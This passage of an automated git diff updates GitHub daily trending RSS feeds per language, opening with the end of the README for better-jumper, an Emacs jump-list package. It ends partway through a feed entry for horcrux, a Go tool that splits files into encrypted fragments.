Emacs</p><hr><h1>better-jumper</h1> <p><a href="https://elpa.nongnu.org/nongnu/better-jumper.html"><img src="https://elpa.nongnu.org/nongnu/better-jumper.svg?sanitize=true" alt="NonGNU ELPA"></a></p> <p>A configurable jump list implementation for Emacs that can be used to easily jump back to previous locations.</p> <h1>Usage</h1> <h2>Install</h2> <p>Better-jumper is available on <a href="https://elpa.nongnu.org/">NonGNU ELPA</a> or MELPA.</p> <p><code>M-x package-install better-jumper</code></p> <pre><code class="language-emacs-lisp">(require 'better-jumper) </code></pre> <p><code>better-jumper</code> comes with a global mode: <code>better-jumper-mode</code> and a local mode: <code>better-jumper-local-mode</code>.</p> <p>You can either a) enable globally:</p> <pre><code class="language-elisp">(better-jumper-mode +1) ;; and disable in specific modes (push 'python-mode better-jumper-disabled-modes) ;; or disable it manually (add-hook 'python-mode-hook #'turn-off-better-jumper-mode) </code></pre> <p>Or b) enable locally, where you need it:</p> <pre><code class="language-elisp">(add-hook 'python-mode-hook #'turn-on-better-jumper-mode) </code></pre> <h2>Getting started</h2> <p>Once <code>better-jumper</code> has been loaded it is ready to start tracking jump history. Anytime <code>better-jumper-set-jump</code> is invoked the current location is added to either the window or buffer specific jump list (depending on the <code>better-jumper-context</code> setting). At any time the jump backward/forward functions can be used to navigate through the jump history.</p> <p>If you are an <code>evil</code> user then <code>better-jumper</code> can piggy back off of the built in jumplist implementation to track when jumps occur. The setting <code>better-jumper-use-evil-jump-advice</code> dictates this behavior and defaults to <code>t</code>. Note that <code>better-jumper</code> does not interact with or alter evil's jump list in any way.</p> <h2>Summary of interactive commands</h2> <table> <thead> <tr> <th>Command</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>better-jumper-set-jump</td> <td>Add a new jump location to jump list using current buffer/position</td> </tr> <tr> <td>better-jumper-jump-backward</td> <td>Jump to back to previous location in jump list</td> </tr> <tr> <td>better-jumper-jump-forward</td> <td>Jump forward to next location in jump list</td> </tr> <tr> <td>better-jumper-get-jumps</td> <td>Get jump state for window or buffer</td> </tr> <tr> <td>better-jumper-set-jumps</td> <td>Set jump state for window or buffer</td> </tr> </tbody> </table> <h2>Example keybinding</h2> <p>Configure the standard jump list navigation keybindings for evil/vim:</p> <pre><code class="language-lisp">(with-eval-after-load 'evil-maps (define-key evil-motion-state-map (kbd "C-o") 'better-jumper-jump-backward) (define-key evil-motion-state-map (kbd "&lt;C-i&gt;") 'better-jumper-jump-forward)) </code></pre> <h1>Configuration Options</h1> <h4>Jump Context (<code>better-jumper-context</code>)</h4> <p>This setting specifies the context in which jump lists are tracked. This can either be set to <code>'buffer</code> or <code>'window</code>. If the value is <code>'buffer</code> then a jump list is maintained for each individual buffer. Conversly, if the value is <code>'window</code> then the jump list is maintained per window and will operate across buffers in that window.</p> <p>While in the <code>'window</code> context, jump lists are stored as persistent window parameters and can be saved and restored along with the window configuration using something like <code>desktop</code> or <code>persp-mode</code>. This is the default context.</p> <p>While in the <code>'buffer</code> context, jump lists are maintained using buffer-local variables and can optionally by saved using <code>savehist</code>.</p> <h4>New Window Behavior (<code>better-jumper-new-window-behavior</code>)</h4> <p>This setting specifies the behavior that will take place when a new window is created AND the current context is set to <code>'window</code>. This can be either set to <code>'copy</code> or <code>'empty</code>. If the value is <code>'copy</code> then the last selected window's jump list will be copied to the new window. If the value is <code>'empty</code> then the new window's jump list will start empty.</p> <h4>Add Jump Behavior (<code>better-jumper-add-jump-behavior</code>)</h4> <p>This setting specifies how the jump list is affected when a new jump is added. If the value is set to <code>'append</code> then new items are always added to the end of the jump list regardless of the current position. If the value is set to <code>replace</code>, then if the any jumps newer than the current position in the jump list will be replaced. I.e. If a user jumps back three times then adds a new jump, those three jumps will be replaced by the new jump in the list.</p> <h4>Max Length (<code>better-jumper-max-length</code>)</h4> <p>This is a numeric value that dictate the maximum length that a jump list can grow to. If the length of a jump list exceeds this size then the oldest items in the list will be dropped.</p> <h4>Use Evil Jump Advice (<code>better-jumper-use-evil-jump-advice</code>)</h4> <p>If non-nil better jumper will attach a piece of advice to the <code>evil-jump</code> function that will ensure that anytime a jump is added using <code>evil-jump</code> a corresponding jump will be added using <code>better-jumper</code>.</p> <h4>better-jumper-use-savehist (<code>better-jumper-use-savehist</code>)</h4> <p>If non-nil better jumper will use savehist to save jump history. This is currently only implemented for the <code>'buffer</code> context. Persistent window parameters are used to save and restore jump history for windows.</p> <h4>better-jumper-buffer-savehist-size (<code>better-jumper-buffer-savehist-size</code>)</h4> <p>This number dictates how many of the most recent buffers should have their jump state saved to the savehist file when savehist is enabled the the context is set to <code>'buffer</code>.</p> <h1>Hooks</h1> <h4>Pre-jump Hook (<code>better-jumper-pre-jump-hook</code>)</h4> <p>A hook that is invoked before a jump occurs.</p> <h4>Post-jump Hook (<code>better-jumper-post-jump-hook</code>)</h4> <p>A hook that is invoked after a jump occurs.</p> <h1>Comparison with <code>evil-jump</code></h1> <p>This package was heavily inspired by <code>evil-jump</code> and initially was planned as a modification of or pull request to <code>evil</code>. It was primarily born out of the desire to isolate jumps across <code>persp-mode</code> perspectives, however the changes proved to be to large to be a simple modification. Additionally, this package provides more customization options as well as a few other core improvements.</p> <p>A few advantages of <code>better-jumper</code> are:</p> <ul> <li> <p>Uses window persistent parameters to store jump lists. As a result <code>better-jumper</code> properly works with <code>persp-mode</code> and any other feature that manages window configurations.</p> </li> <li> <p>True buffer specific jump lists. When instructed to not cross buffer boundaries <code>evil-jumper</code> still tracks jumps per window only limits the jumps available to ones located in the current buffer.</p> </li> <li> <p>Configurable new window behavior. <code>evil-jumper</code> ALWAYS copies the jump list from the previously selected window to any newly created window.</p> </li> </ul> <h1>Caveats</h1> <ul> <li> <p>Jump locations are stored as <code>marker</code>s so they will maintain a more accurate location in the buffer. However, due to the fact that markers can't be serialized they are down converted to simple buffer positions when saved either via window configuration or savehist.</p> </li> <li> <p>Currently <code>savehist</code> support is only limited to the <code>'buffer</code> context. When running in the <code>'window</code> context, the jump list is stored as a persistent window parameter and is intended to be saved using alongside the window configuration using somethinig like <code>desktop</code> or <code>persp-mode</code>.</p> </li> </ul> \ No newline at end of file diff --git a/emberscript/daily/index.xml b/emberscript/daily/index.xml index f78306d5a44..0bd8e21f30c 100644 --- a/emberscript/daily/index.xml +++ b/emberscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub EmberScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:39Z + 2023-09-20T01:29:23Z Daily Trending of EmberScript in GitHub \ No newline at end of file diff --git a/eq/daily/index.xml b/eq/daily/index.xml index ac089d9d326..5c567853436 100644 --- a/eq/daily/index.xml +++ b/eq/daily/index.xml @@ -1,7 +1,7 @@ GitHub EQ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:58Z + 2023-09-20T01:29:41Z Daily Trending of EQ in GitHub \ No newline at end of file diff --git a/erlang/daily/index.xml b/erlang/daily/index.xml index 103c817ab96..8cc8dc2c56e 100644 --- a/erlang/daily/index.xml +++ b/erlang/daily/index.xml @@ -1,7 +1,7 @@ GitHub Erlang Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:03Z + 2023-09-20T01:29:45Z Daily Trending of Erlang in GitHub \ No newline at end of file diff --git a/euphoria/daily/index.xml b/euphoria/daily/index.xml index 0ba62f43e87..4077623066a 100644 --- a/euphoria/daily/index.xml +++ b/euphoria/daily/index.xml @@ -1,7 +1,7 @@ GitHub Euphoria Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:59Z + 2023-09-20T01:29:40Z Daily Trending of Euphoria in GitHub \ No newline at end of file diff --git a/f%23/daily/index.xml b/f%23/daily/index.xml index 80c2959a0f6..ff040709bb6 100644 --- a/f%23/daily/index.xml +++ b/f%23/daily/index.xml @@ -1,7 +1,7 @@ GitHub F# Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:03Z + 2023-09-20T01:29:45Z Daily Trending of F# in GitHub \ No newline at end of file diff --git a/f*/daily/index.xml b/f*/daily/index.xml index af6221942e6..c89cf35770a 100644 --- a/f*/daily/index.xml +++ b/f*/daily/index.xml @@ -1,7 +1,7 @@ GitHub F* Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:08Z + 2023-09-20T01:29:47Z Daily Trending of F* in GitHub \ No newline at end of file diff --git a/factor/daily/index.xml b/factor/daily/index.xml index e93e64d7775..2f6f34b8092 100644 --- a/factor/daily/index.xml +++ b/factor/daily/index.xml @@ -1,7 +1,7 @@ GitHub Factor Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:07Z + 2023-09-20T01:29:49Z Daily Trending of Factor in GitHub \ No newline at end of file diff --git a/fancy/daily/index.xml b/fancy/daily/index.xml index 5d1dedfc9e9..d1fa224a506 100644 --- a/fancy/daily/index.xml +++ b/fancy/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fancy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:06Z + 2023-09-20T01:29:48Z Daily Trending of Fancy in GitHub \ No newline at end of file diff --git a/fantom/daily/index.xml b/fantom/daily/index.xml index 56c0df87d20..11f9ace4d78 100644 --- a/fantom/daily/index.xml +++ b/fantom/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fantom Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:07Z + 2023-09-20T01:29:48Z Daily Trending of Fantom in GitHub \ No newline at end of file diff --git a/faust/daily/index.xml b/faust/daily/index.xml index 505ac1c80db..fc8a73511d4 100644 --- a/faust/daily/index.xml +++ b/faust/daily/index.xml @@ -1,7 +1,7 @@ GitHub Faust Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:12Z + 2023-09-20T01:29:53Z Daily Trending of Faust in GitHub \ No newline at end of file diff --git a/fennel/daily/index.xml b/fennel/daily/index.xml index 6d8bc487d8d..20c80eaa7fc 100644 --- a/fennel/daily/index.xml +++ b/fennel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fennel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:11Z + 2023-09-20T01:29:50Z Daily Trending of Fennel in GitHub \ No newline at end of file diff --git a/figlet-font/daily/index.xml b/figlet-font/daily/index.xml index 8bcb1466411..773b7425b4d 100644 --- a/figlet-font/daily/index.xml +++ b/figlet-font/daily/index.xml @@ -1,7 +1,7 @@ GitHub FIGlet Font Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:10Z + 2023-09-20T01:29:52Z Daily Trending of FIGlet Font in GitHub \ No newline at end of file diff --git a/filebench-wml/daily/index.xml b/filebench-wml/daily/index.xml index c6fb5e2312f..ff879ab50e9 100644 --- a/filebench-wml/daily/index.xml +++ b/filebench-wml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Filebench WML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:13Z + 2023-09-20T01:29:51Z Daily Trending of Filebench WML in GitHub \ No newline at end of file diff --git a/filterscript/daily/index.xml b/filterscript/daily/index.xml index dd2005942b4..e0024601b1c 100644 --- a/filterscript/daily/index.xml +++ b/filterscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Filterscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:14Z + 2023-09-20T01:29:56Z Daily Trending of Filterscript in GitHub \ No newline at end of file diff --git a/fish/daily/index.xml b/fish/daily/index.xml index 29d34460cc0..504b3ebc1f5 100644 --- a/fish/daily/index.xml +++ b/fish/daily/index.xml @@ -1,7 +1,7 @@ GitHub fish Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:17Z + 2023-09-20T01:29:55Z Daily Trending of fish in GitHub \ No newline at end of file diff --git a/fluent/daily/index.xml b/fluent/daily/index.xml index e7a13c362d4..079152ec81f 100644 --- a/fluent/daily/index.xml +++ b/fluent/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fluent Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:15Z + 2023-09-20T01:29:57Z Daily Trending of Fluent in GitHub \ No newline at end of file diff --git a/flux/daily/index.xml b/flux/daily/index.xml index 86d65950e5b..d3ad4d297f2 100644 --- a/flux/daily/index.xml +++ b/flux/daily/index.xml @@ -1,7 +1,7 @@ GitHub FLUX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:16Z + 2023-09-20T01:29:54Z Daily Trending of FLUX in GitHub \ No newline at end of file diff --git a/formatted/daily/index.xml b/formatted/daily/index.xml index e633cb9b236..b6f25cd5d40 100644 --- a/formatted/daily/index.xml +++ b/formatted/daily/index.xml @@ -1,7 +1,7 @@ GitHub Formatted Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:19Z + 2023-09-20T01:29:58Z Daily Trending of Formatted in GitHub \ No newline at end of file diff --git a/forth/daily/index.xml b/forth/daily/index.xml index 2fb716ca03c..9341bc242eb 100644 --- a/forth/daily/index.xml +++ b/forth/daily/index.xml @@ -1,7 +1,7 @@ GitHub Forth Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:20Z + 2023-09-20T01:30:00Z Daily Trending of Forth in GitHub \ No newline at end of file diff --git a/fortran-free-form/daily/index.xml b/fortran-free-form/daily/index.xml index f243d900e50..970f705b1e5 100644 --- a/fortran-free-form/daily/index.xml +++ b/fortran-free-form/daily/index.xml @@ -1,7 +1,7 @@ GitHub Fortran Free Form Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:18Z + 2023-09-20T01:29:59Z Daily Trending of Fortran Free Form in GitHub \ No newline at end of file diff --git a/fortran/daily/index.xml b/fortran/daily/index.xml index be64aca9bcf..81ecfcf333c 100644 --- a/fortran/daily/index.xml +++ b/fortran/daily/index.xml @@ -1,7 +1,14 @@ GitHub Fortran Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:23Z + 2023-09-20T01:30:02Z Daily Trending of Fortran in GitHub + + JCSDA/CRTM_coef + 2023-09-20T01:30:02Z + tag:github.com,2023-09-20:/JCSDA/CRTM_coef + + <p>Public-facing repository for CRTM transmittance coefficient development -- under heavy development, don't recommend using without communicating with @BenjaminTJohnson first</p><hr> + \ No newline at end of file diff --git a/freebasic/daily/index.xml b/freebasic/daily/index.xml index 12a6e8f7304..1f072ccd618 100644 --- a/freebasic/daily/index.xml +++ b/freebasic/daily/index.xml @@ -1,7 +1,7 @@ GitHub FreeBasic Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:27Z + 2023-09-20T01:30:07Z Daily Trending of FreeBasic in GitHub \ No newline at end of file diff --git a/freemarker/daily/index.xml b/freemarker/daily/index.xml index ef6b8ee11d1..e0f211ce0b2 100644 --- a/freemarker/daily/index.xml +++ b/freemarker/daily/index.xml @@ -1,7 +1,7 @@ GitHub FreeMarker Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:24Z + 2023-09-20T01:30:04Z Daily Trending of FreeMarker in GitHub \ No newline at end of file diff --git a/frege/daily/index.xml b/frege/daily/index.xml index 3c2a85e89b8..b4f5eb6a353 100644 --- a/frege/daily/index.xml +++ b/frege/daily/index.xml @@ -1,7 +1,7 @@ GitHub Frege Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:25Z + 2023-09-20T01:30:06Z Daily Trending of Frege in GitHub \ No newline at end of file diff --git a/futhark/daily/index.xml b/futhark/daily/index.xml index bf3dcb7cfb2..fb0c171aa5d 100644 --- a/futhark/daily/index.xml +++ b/futhark/daily/index.xml @@ -1,7 +1,7 @@ GitHub Futhark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:26Z + 2023-09-20T01:30:05Z Daily Trending of Futhark in GitHub \ No newline at end of file diff --git a/g-code/daily/index.xml b/g-code/daily/index.xml index ed2b7db7f00..9e5de01350b 100644 --- a/g-code/daily/index.xml +++ b/g-code/daily/index.xml @@ -1,14 +1,7 @@ GitHub G-code Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:31Z + 2023-09-20T01:30:08Z Daily Trending of G-code in GitHub - - Staacks/wooden-game-boy-cartridge - 2023-09-19T01:29:31Z - tag:github.com,2023-09-19:/Staacks/wooden-game-boy-cartridge - - <p>A CNC-machined Game Boy cartridge shell</p><hr> - \ No newline at end of file diff --git a/game-maker-language/daily/index.xml b/game-maker-language/daily/index.xml index 402eeac9327..9d7b96e9273 100644 --- a/game-maker-language/daily/index.xml +++ b/game-maker-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Game Maker Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:28Z + 2023-09-20T01:30:10Z Daily Trending of Game Maker Language in GitHub \ No newline at end of file diff --git a/gaml/daily/index.xml b/gaml/daily/index.xml index 8bd5f4eb46c..03f3029a8a3 100644 --- a/gaml/daily/index.xml +++ b/gaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:30Z + 2023-09-20T01:30:09Z Daily Trending of GAML in GitHub \ No newline at end of file diff --git a/gams/daily/index.xml b/gams/daily/index.xml index 8e39fc4bd0c..338d6974405 100644 --- a/gams/daily/index.xml +++ b/gams/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAMS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:29Z + 2023-09-20T01:30:11Z Daily Trending of GAMS in GitHub \ No newline at end of file diff --git a/gap/daily/index.xml b/gap/daily/index.xml index 8bb929e9a7c..2fbefbc4a73 100644 --- a/gap/daily/index.xml +++ b/gap/daily/index.xml @@ -1,7 +1,7 @@ GitHub GAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:34Z + 2023-09-20T01:30:13Z Daily Trending of GAP in GitHub \ No newline at end of file diff --git a/gcc-machine-description/daily/index.xml b/gcc-machine-description/daily/index.xml index 80cfca21a1d..59a929940a5 100644 --- a/gcc-machine-description/daily/index.xml +++ b/gcc-machine-description/daily/index.xml @@ -1,7 +1,7 @@ GitHub GCC Machine Description Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:35Z + 2023-09-20T01:30:12Z Daily Trending of GCC Machine Description in GitHub \ No newline at end of file diff --git a/gdb/daily/index.xml b/gdb/daily/index.xml index fc477121af6..6aeac143fe4 100644 --- a/gdb/daily/index.xml +++ b/gdb/daily/index.xml @@ -1,7 +1,7 @@ GitHub GDB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:33Z + 2023-09-20T01:30:14Z Daily Trending of GDB in GitHub \ No newline at end of file diff --git a/gdscript/daily/index.xml b/gdscript/daily/index.xml index f6cc059d7d4..d91518daaeb 100644 --- a/gdscript/daily/index.xml +++ b/gdscript/daily/index.xml @@ -1,21 +1,28 @@ GitHub GDScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:38Z + 2023-09-20T01:30:17Z Daily Trending of GDScript in GitHub - Yogoda/ZoneLoadingSystem - 2023-09-19T01:29:38Z - tag:github.com,2023-09-19:/Yogoda/ZoneLoadingSystem - - <p>Dynamic zone loading system for Godot</p><hr> + duongvituan/godot-awesome-splash + 2023-09-20T01:30:17Z + tag:github.com,2023-09-20:/duongvituan/godot-awesome-splash + + <p>Collection of splash screens in Godot</p><hr> - V-Sekai/godot-vrm - 2023-09-19T01:29:38Z - tag:github.com,2023-09-19:/V-Sekai/godot-vrm - - <p>Importer/Exporter for VRM avatars and MToon shader. Available in the Godot Asset Library.</p><hr> + AppLovin/AppLovin-MAX-Godot + 2023-09-20T01:30:17Z + tag:github.com,2023-09-20:/AppLovin/AppLovin-MAX-Godot + + <p></p><hr> + + + jitspoe/godot-console + 2023-09-20T01:30:17Z + tag:github.com,2023-09-20:/jitspoe/godot-console + + <p>Dev console addon for Godot engine.</p><hr> \ No newline at end of file diff --git a/gedcom/daily/index.xml b/gedcom/daily/index.xml index ff1c789d85c..fa0dd8b1b23 100644 --- a/gedcom/daily/index.xml +++ b/gedcom/daily/index.xml @@ -1,7 +1,7 @@ GitHub GEDCOM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:40Z + 2023-09-20T01:30:19Z Daily Trending of GEDCOM in GitHub \ No newline at end of file diff --git a/gemfile.lock/daily/index.xml b/gemfile.lock/daily/index.xml index 342f84917bc..031dc80f675 100644 --- a/gemfile.lock/daily/index.xml +++ b/gemfile.lock/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gemfile.lock Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:41Z + 2023-09-20T01:30:21Z Daily Trending of Gemfile.lock in GitHub \ No newline at end of file diff --git a/genero-forms/daily/index.xml b/genero-forms/daily/index.xml index 1c55ba98d17..28aa8166ede 100644 --- a/genero-forms/daily/index.xml +++ b/genero-forms/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genero Forms Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:44Z + 2023-09-20T01:30:22Z Daily Trending of Genero Forms in GitHub \ No newline at end of file diff --git a/genero/daily/index.xml b/genero/daily/index.xml index 4c4e9a97b93..ef875a732ff 100644 --- a/genero/daily/index.xml +++ b/genero/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genero Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:42Z + 2023-09-20T01:30:19Z Daily Trending of Genero in GitHub \ No newline at end of file diff --git a/genie/daily/index.xml b/genie/daily/index.xml index 96a9b236807..e7529fd96a2 100644 --- a/genie/daily/index.xml +++ b/genie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:45Z + 2023-09-20T01:30:24Z Daily Trending of Genie in GitHub \ No newline at end of file diff --git a/genshi/daily/index.xml b/genshi/daily/index.xml index 6b28d9a5870..7a3f5780452 100644 --- a/genshi/daily/index.xml +++ b/genshi/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genshi Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:46Z + 2023-09-20T01:30:23Z Daily Trending of Genshi in GitHub \ No newline at end of file diff --git a/gentoo-ebuild/daily/index.xml b/gentoo-ebuild/daily/index.xml index 4d63616411f..e2db2fb24c6 100644 --- a/gentoo-ebuild/daily/index.xml +++ b/gentoo-ebuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gentoo Ebuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:44Z + 2023-09-20T01:30:25Z Daily Trending of Gentoo Ebuild in GitHub \ No newline at end of file diff --git a/gentoo-eclass/daily/index.xml b/gentoo-eclass/daily/index.xml index c974b89342b..e8707fbe86a 100644 --- a/gentoo-eclass/daily/index.xml +++ b/gentoo-eclass/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gentoo Eclass Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:50Z + 2023-09-20T01:30:27Z Daily Trending of Gentoo Eclass in GitHub \ No newline at end of file diff --git a/gerber-image/daily/index.xml b/gerber-image/daily/index.xml index 86d271b826d..e4bf6542daf 100644 --- a/gerber-image/daily/index.xml +++ b/gerber-image/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gerber Image Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:49Z + 2023-09-20T01:30:26Z Daily Trending of Gerber Image in GitHub \ No newline at end of file diff --git a/gettext-catalog/daily/index.xml b/gettext-catalog/daily/index.xml index 2dbc45948c3..1597bce9687 100644 --- a/gettext-catalog/daily/index.xml +++ b/gettext-catalog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gettext Catalog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:48Z + 2023-09-20T01:30:29Z Daily Trending of Gettext Catalog in GitHub \ No newline at end of file diff --git a/gherkin/daily/index.xml b/gherkin/daily/index.xml index 12cf34fd020..01a60c04d03 100644 --- a/gherkin/daily/index.xml +++ b/gherkin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gherkin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:51Z + 2023-09-20T01:30:28Z Daily Trending of Gherkin in GitHub \ No newline at end of file diff --git a/git-attributes/daily/index.xml b/git-attributes/daily/index.xml index f15376ff00d..a55f87d7dff 100644 --- a/git-attributes/daily/index.xml +++ b/git-attributes/daily/index.xml @@ -1,7 +1,7 @@ GitHub Git Attributes Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:55Z + 2023-09-20T01:30:31Z Daily Trending of Git Attributes in GitHub \ No newline at end of file diff --git a/git-config/daily/index.xml b/git-config/daily/index.xml index 6a45936dbe8..9a7dded6a05 100644 --- a/git-config/daily/index.xml +++ b/git-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Git Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:53Z + 2023-09-20T01:30:33Z Daily Trending of Git Config in GitHub \ No newline at end of file diff --git a/gleam/daily/index.xml b/gleam/daily/index.xml index 57682791c81..2b33a97c716 100644 --- a/gleam/daily/index.xml +++ b/gleam/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gleam Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:52Z + 2023-09-20T01:30:30Z Daily Trending of Gleam in GitHub \ No newline at end of file diff --git a/glsl/daily/index.xml b/glsl/daily/index.xml index 661f6367f83..f75584cd81a 100644 --- a/glsl/daily/index.xml +++ b/glsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub GLSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:59Z + 2023-09-20T01:30:37Z Daily Trending of GLSL in GitHub \ No newline at end of file diff --git a/glyph-bitmap-distribution-format/daily/index.xml b/glyph-bitmap-distribution-format/daily/index.xml index 2f48a64a333..39e4293cfab 100644 --- a/glyph-bitmap-distribution-format/daily/index.xml +++ b/glyph-bitmap-distribution-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Glyph Bitmap Distribution Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:56Z + 2023-09-20T01:30:36Z Daily Trending of Glyph Bitmap Distribution Format in GitHub \ No newline at end of file diff --git a/glyph/daily/index.xml b/glyph/daily/index.xml index bcd9a43cf52..8aa0581b2f0 100644 --- a/glyph/daily/index.xml +++ b/glyph/daily/index.xml @@ -1,7 +1,7 @@ GitHub Glyph Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:57Z + 2023-09-20T01:30:35Z Daily Trending of Glyph in GitHub \ No newline at end of file diff --git a/gn/daily/index.xml b/gn/daily/index.xml index 058ce4cbec1..f7a91baf482 100644 --- a/gn/daily/index.xml +++ b/gn/daily/index.xml @@ -1,7 +1,7 @@ GitHub GN Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:29:59Z + 2023-09-20T01:30:34Z Daily Trending of GN in GitHub \ No newline at end of file diff --git a/gnuplot/daily/index.xml b/gnuplot/daily/index.xml index a54ab0545bf..e5bca05c9f8 100644 --- a/gnuplot/daily/index.xml +++ b/gnuplot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gnuplot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:03Z + 2023-09-20T01:30:40Z Daily Trending of Gnuplot in GitHub \ No newline at end of file diff --git a/go-checksums/daily/index.xml b/go-checksums/daily/index.xml index 310b8449d65..36d0d53be06 100644 --- a/go-checksums/daily/index.xml +++ b/go-checksums/daily/index.xml @@ -1,7 +1,7 @@ GitHub Go Checksums Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:01Z + 2023-09-20T01:30:40Z Daily Trending of Go Checksums in GitHub \ No newline at end of file diff --git a/go-module/daily/index.xml b/go-module/daily/index.xml index d07fdbed1df..2a4da41e99d 100644 --- a/go-module/daily/index.xml +++ b/go-module/daily/index.xml @@ -1,7 +1,7 @@ GitHub Go Module Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:02Z + 2023-09-20T01:30:39Z Daily Trending of Go Module in GitHub \ No newline at end of file diff --git a/go/daily/index.xml b/go/daily/index.xml index 497cb04d17f..b413d378a58 100644 --- a/go/daily/index.xml +++ b/go/daily/index.xml @@ -1,14 +1,21 @@ GitHub Go Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:30:06Z + 2023-09-20T01:30:44Z Daily Trending of Go in GitHub - jesseduffield/horcrux - 2023-09-19T01:30:06Z - tag:github.com,2023-09-19:/jesseduffield/horcrux - - <p>Split your file into encrypted fragments so that you don't need to remember a passcode</p><hr><h1>horcrux</h1> <p>Split your file into encrypted horcruxes so that you don't need to remember a passcode</p> <p><img src="https://i.imgur.com/TijN4YP.png" alt=""></p> <h2>How it works</h2> <p><code>horcrux</code> has two commands, <code>split</code> and <code>bind</code>.</p> <h3>Splitting</h3> <p>If I have a file called <code>diary.txt</code> in my current directory I can call</p> <pre><code>horcrux split diary.txt </code></pre> <p>and it will prompt me for how many horcruxes I want, and how many will be needed to resurrect the original file. For example I might want 5 horcruxes with the ability to resurrect the file if I have any 3. The horcrux files will be created like so:</p> 